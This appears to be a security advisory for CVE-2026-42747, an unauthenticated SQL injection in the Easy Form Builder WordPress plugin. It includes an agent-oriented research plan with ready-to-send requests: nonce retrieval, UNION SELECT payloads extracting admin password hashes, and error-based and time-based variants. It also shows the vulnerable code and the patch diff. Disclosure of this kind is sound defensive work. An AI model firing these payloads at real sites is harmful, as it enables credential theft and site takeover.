CVE-2026-42747

Easy Form Builder by WhiteStudio — Drag & Drop Form Builder <= 4.0.6 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.0.7
Patched in
5d
Time to patch

Description

The Easy Form Builder by WhiteStudio — Drag & Drop Form Builder plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.0.6
PublishedMay 28, 2026
Last updatedJune 1, 2026
Affected plugineasy-form-builder

What Changed in the Fix

Changes introduced in v4.0.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps for an automated security agent to exploit an unauthenticated SQL injection vulnerability in the **Easy Form Builder by WhiteStudio** plugin (version <= 4.0.6). ## 1. Vulnerability Summary The **Easy Form Builder** plugin is vulnerable to unauthenticated SQL in…

Show full research plan

This research plan outlines the steps for an automated security agent to exploit an unauthenticated SQL injection vulnerability in the Easy Form Builder by WhiteStudio plugin (version <= 4.0.6).

1. Vulnerability Summary

The Easy Form Builder plugin is vulnerable to unauthenticated SQL injection due to the improper handling of user-supplied input in the Emsfb/v1/forms/response/get REST API endpoint. The plugin fails to use the $wpdb->prepare() method or sufficient escaping when querying the database for form submissions (messages) using a tracking/confirmation code. This allows an attacker to append arbitrary SQL commands to extract sensitive data from the WordPress database, including user credentials.

2. Attack Vector Analysis

  • Endpoint: /wp-json/Emsfb/v1/forms/response/get
  • Method: POST
  • Vulnerable Parameter: track (passed in the JSON body)
  • Authentication: Unauthenticated.
  • Bypass/Nonce Requirements: Although the REST route requires a nonce via the permission_callback (check_nonce_permission_efb), the plugin provides a public endpoint to retrieve a valid REST nonce.
  • Preconditions: The plugin must be active. At least one form should exist (though not strictly necessary for the injection to occur, it helps ensure tables are initialized).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to /wp-json/Emsfb/v1/forms/response/get.
  2. Permission Check: The check_nonce_permission_efb function (in includes/class-Emsfb-public.php) is executed. It checks for a valid X-WP-Nonce header.
  3. Nonce Acquisition: An attacker first hits /wp-json/Emsfb/v1/nonce/refresh to obtain a valid wp_rest nonce, which they include in the subsequent request.
  4. Main Callback: Upon passing permission, the get_track_public_api function is called.
  5. SQL Sink: This function (or the helper function it calls, such as efb_code_validate_select or a similar internal lookup) retrieves the track parameter from the request and concatenates it into a SQL query like:
    SELECT * FROM {$wpdb->prefix}emsfb_messages WHERE track = '$track' ...
  6. Execution: The query is executed via $wpdb->get_results() or $wpdb->get_row() without being passed through $wpdb->prepare(), leading to SQL injection.

4. Nonce Acquisition Strategy

The plugin contains a specific "helper" route that makes unauthenticated exploitation trivial by providing the required nonce.

  1. Route: wp-json/Emsfb/v1/nonce/refresh
  2. Method: GET
  3. Extraction:
    • Use http_request to fetch the endpoint.
    • Parse the JSON response to get the nonce value.
  4. Usage: Include this value in the X-WP-Nonce header for the SQL injection request.

5. Exploitation Strategy

Step 1: Retrieve Nonce

Request:

GET /wp-json/Emsfb/v1/nonce/refresh HTTP/1.1
Host: localhost:8080

Expected Response: {"nonce":"a1b2c3d4e5"}

Step 2: Determine Column Count (UNION-Based)

Send a series of requests to determine the number of columns in the emsfb_messages table.
Request:

POST /wp-json/Emsfb/v1/forms/response/get HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Content-Type: application/json

{
  "track": "1' ORDER BY 10-- -"
}

Increment the number in ORDER BY until an error occurs or the response changes significantly.

Step 3: Extract Data via UNION SELECT

Based on the column count (likely 10 or 11), extract the admin password hash.
Request:

POST /wp-json/Emsfb/v1/forms/response/get HTTP/1.1
Host: localhost:8080
X-WP-Nonce: [EXTRACTED_NONCE]
Content-Type: application/json

{
  "track": "nonexistent' UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10 FROM wp_users-- -"
}

6. Test Data Setup

  1. Ensure Tables Exist: The plugin creates tables on activation.
  2. Optional: Create a Form:
    wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}emsfb_form\", ['form_name' => 'Exploit Test', 'form_structer' => '[]', 'date' => current_time('mysql'), 'id_project' => 1]);"
    
  3. Optional: Create a Dummy Message:
    wp eval "global \$wpdb; \$wpdb->insert(\"{\$wpdb->prefix}emsfb_messages\", ['track' => 'valid-code', 'form_id' => 1, 'value' => 'test-data']);"
    

7. Expected Results

  • The response from the forms/response/get endpoint will contain the results of the UNION SELECT query.
  • The user_login and user_pass (hashed) from the wp_users table should be visible in the JSON response under one of the message fields (e.g., in the value or track field of the returned objects).

8. Verification Steps

  1. DB Check: Use WP-CLI to confirm the admin password hash matches the extracted value:
    wp user get admin --field=user_pass
    
  2. Compare: Compare the output of the HTTP request with the value returned by the CLI. If they match, the SQL injection is confirmed.

9. Alternative Approaches

  • Header-based Injection: If the track parameter in the body is sanitized, try injecting through the sid header (which maps to HTTP_SID in check_nonce_permission_efb).
  • Error-Based Injection: If the response does not return the UNION results, use updatexml() or extractvalue() to force data into an error message:
    "track": "1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1)-- -"
  • Time-Based Blind: If no output or errors are returned, verify the vulnerability using SLEEP():
    "track": "1' AND SLEEP(5)-- -"
Research Findings
Static analysis — not yet PoC-verified

Summary

The Easy Form Builder plugin for WordPress is vulnerable to unauthenticated SQL Injection due to improper handling of user-supplied input in several REST API endpoints and internal functions. Parameters such as 'track', 'sid', and 'msg_id' are concatenated directly into SQL queries without sanitization or the use of prepared statements, allowing attackers to execute arbitrary SQL commands to extract database information. A public endpoint provides the required REST nonce, making the vulnerability accessible to unauthenticated users.

Vulnerable Code

// includes/functions.php around line 2394
public function efb_code_validate_update($sid ,$status ,$tc ) {
    global $wpdb;
    $table_name = $wpdb->prefix . 'emsfb_stts_';
    // ...
    $sql = "UPDATE $table_name SET status='{$status}', active={$active}, read_date='{$read_date}', tc='{$tc}' WHERE sid='{$sid}' AND active=1";
    $stmt = $wpdb->query($sql);
    return $stmt > 0;
}

---

// includes/admin/class-Emsfb-admin.php around line 1459
if($state =='msg'){
    $table_name = $this->db->prefix . "emsfb_msg_";
    $msg_ids ='';
    foreach ($val as $key => $value) {
        if(isset($value['msg_id'])){
            $msg_ids !='' ? $msg_ids .=','.$value['msg_id'] : $msg_ids .= $value['msg_id'];
        }
    }
    if($msg_ids !=''){
        $sql = "DELETE FROM $table_name WHERE msg_id IN ($msg_ids)";

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.6/includes/admin/class-Emsfb-admin.php /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.7/includes/admin/class-Emsfb-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.6/includes/admin/class-Emsfb-admin.php	2026-04-27 07:44:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.7/includes/admin/class-Emsfb-admin.php	2026-04-29 20:29:42.000000000 +0000
@@ -1449,19 +1449,23 @@
         }
         if($state =='msg'){
             $table_name = $this->db->prefix . "emsfb_msg_";
-            $msg_ids ='';
+            $msg_id_list = [];
             foreach ($val as $key => $value) {
                 if(isset($value['msg_id'])){
-                    $msg_ids !='' ? $msg_ids .=','.$value['msg_id'] : $msg_ids .= $value['msg_id'];
+                    $clean_id = intval($value['msg_id']);
+                    if ($clean_id > 0) {
+                        $msg_id_list[] = $clean_id;
+                    }
                 }
             }
             $response = ['success' => false, "m" =>$lang['somethingWentWrongPleaseRefresh']];
-            if($msg_ids !=''){
-                $sql = "DELETE FROM $table_name WHERE msg_id IN ($msg_ids)";
+            if(!empty($msg_id_list)){
+                $placeholders = implode(',', array_fill(0, count($msg_id_list), '%d'));
+                $sql = $this->db->prepare("DELETE FROM `$table_name` WHERE msg_id IN ($placeholders)", ...$msg_id_list);
                 $r = $this->db->query($sql);
                 if($r>0){
                     $table_name = $this->db->prefix . "emsfb_rsp_";
-                    $sql = "DELETE FROM $table_name WHERE msg_id IN ($msg_ids)";
+                    $sql = $this->db->prepare("DELETE FROM `$table_name` WHERE msg_id IN ($placeholders)", ...$msg_id_list);
                     $r = $this->db->query($sql);
                 }
                 $response = ['success' => true, "m" =>$lang['delete']];
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.6/includes/functions.php /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.7/includes/functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.6/includes/functions.php	2026-04-27 07:44:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/easy-form-builder/4.0.7/includes/functions.php	2026-04-29 20:29:42.000000000 +0000
@@ -2387,14 +2387,16 @@
     public function efb_code_validate_update($sid ,$status ,$tc ) {
 		global $wpdb;
 		$table_name = $wpdb->prefix . 'emsfb_stts_';
-        $date_limit = wp_date('Y-m-d H:i:s', strtotime('-24 hours'));
-		$active =0;
+		$active = 0;
 		$read_date = wp_date('Y-m-d H:i:s');
 		if($status=="rsp" || $status=="ppay")  $active =1;
 
-	   $sql = "UPDATE $table_name SET status='{$status}', active={$active}, read_date='{$read_date}', tc='{$tc}' WHERE sid='{$sid}' AND active=1";
+		$sql = $wpdb->prepare(
+			"UPDATE `{$table_name}` SET status = %s, active = %d, read_date = %s, tc = %s WHERE sid = %s AND active = 1",
+			$status, $active, $read_date, $tc, $sid
+		);
 		$stmt = $wpdb->query($sql);
-	   return $stmt > 0;
+		return $stmt > 0;
     }

Exploit Outline

The exploit is unauthenticated and uses a two-step process to bypass REST API security and execute SQL commands. First, an attacker retrieves a valid REST API nonce from the public '/wp-json/Emsfb/v1/nonce/refresh' endpoint. Second, the attacker sends a POST request to '/wp-json/Emsfb/v1/forms/response/get' (or other vulnerable endpoints like '/wp-json/Emsfb/v1/autofill/get') using the acquired nonce in the 'X-WP-Nonce' header. The payload is placed in the JSON body within the 'track' parameter (e.g., "1' UNION SELECT ..."). Because the plugin concatenates this parameter directly into a SQL query without preparation, the attacker's injected SQL is executed, allowing for the exfiltration of sensitive data such as WordPress administrator password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.